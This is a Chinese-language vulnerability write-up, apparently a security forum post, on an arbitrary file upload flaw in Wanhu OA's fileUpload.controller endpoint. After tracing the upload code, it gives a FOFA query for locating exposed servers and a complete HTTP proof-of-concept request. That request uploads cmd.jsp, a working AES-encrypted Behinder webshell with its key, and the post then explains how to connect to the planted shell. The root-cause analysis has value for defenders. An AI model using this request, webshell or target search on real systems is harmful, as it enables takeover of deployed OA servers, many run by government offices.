万户OA fileUpload.controller 任意文件上传漏洞分析

万户OA fileUpload.controller 任意文件上传漏洞分析

万户OA fileUpload.controller 任意文件上传漏洞分析

漏洞简介

万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA fileUpload.controller处存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器,导致服务器失陷。

漏洞分析

文件位置位于\WEB-INF\classes\com\whir\evo\weixin\actionsupport\FileUploadAction.class中,成功发现了该路由为/upload/fileupload

image-20240909181212461

现在开始分析fileupload方法中的内容,首先是文件上传部分

image-20240909202937926

分析:首先是设置相应的文本类型,接着就是从请求中获取modelName参数的内容,判断modelName参数是否为空,若为空直接就是设置文件上传的路径xxx/upload/html中,反之就将路径设置为xxx/modelName的内容/当前日期的目录下并且判断文件是否存在,若不存在就新建一个文件夹

接着我们分析后面内容

image-20240909203758288

分析:在上述代码中,首先是实例化了一个SysSetupReader实例,接着调用getSysSetupMap方法,并传入参数"0",获取一个Map对象。然后获取该Map的"上传附件"所对应的值得到文件上传的类型。接着就是从前端请求中获取到文件名,然后依次遍历所有的文件名,调用getFIle方法得到文件的一些基本信息;调用getOriginalFilename方法获取到文件原始名对其进行非空判断并将其赋值给filename,接着就是调用createFileName方法

image-20240909205635039

该方法得到文件后缀名后随机生成一个文件名

接着就是调用saveFileFromInputStream方法

image-20240909205957157

该方法的参数

  • InputStream stream:要保存文件的数据源。
  • String path:文件保存的目录路径。
  • String fileName:要保存的文件名。

该方法的作用是将从 InputStream 读取的数据保存到指定路径的文件中,接着将我们File对象返回

image-20240909210755197

接着就是检查文件是否成功保存,如果文件不存在,则抛出FileNotFoundException。然后设置回显数据包括文件名、result、data、fileSize的设置,接着创建一个新的UploadFile对象,调用setFileSize方法设置上传文件的信息,然后就是异常处理操作,最后将result传为Json格式在响应中显示出来

资产测绘

fofa

app="万户网络-ezOFFICE"

image-20240909211217073

漏洞复现

poc

POST /defaultroot/upload/fileUpload.controller HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Length: 773

--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Disposition: form-data; name="file"; filename="cmd.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*......tas9er*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--

img

使用冰蝎连接木马 /defaultroot/upload/html/xxxxxxxxxx.jsp

img

漏洞总结

该漏洞形成的原因就是在整个文件上传的过程中没有对我们所上传文件的类型、后缀名等进行任何过滤操作,导致用户可以上传任意文件进而导致攻击者对该点的利用造成任意文件上传

  • 发表于 2024-10-24 10:00:01
  • 阅读 ( 9743 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xhys
xhys

12 篇文章

站长统计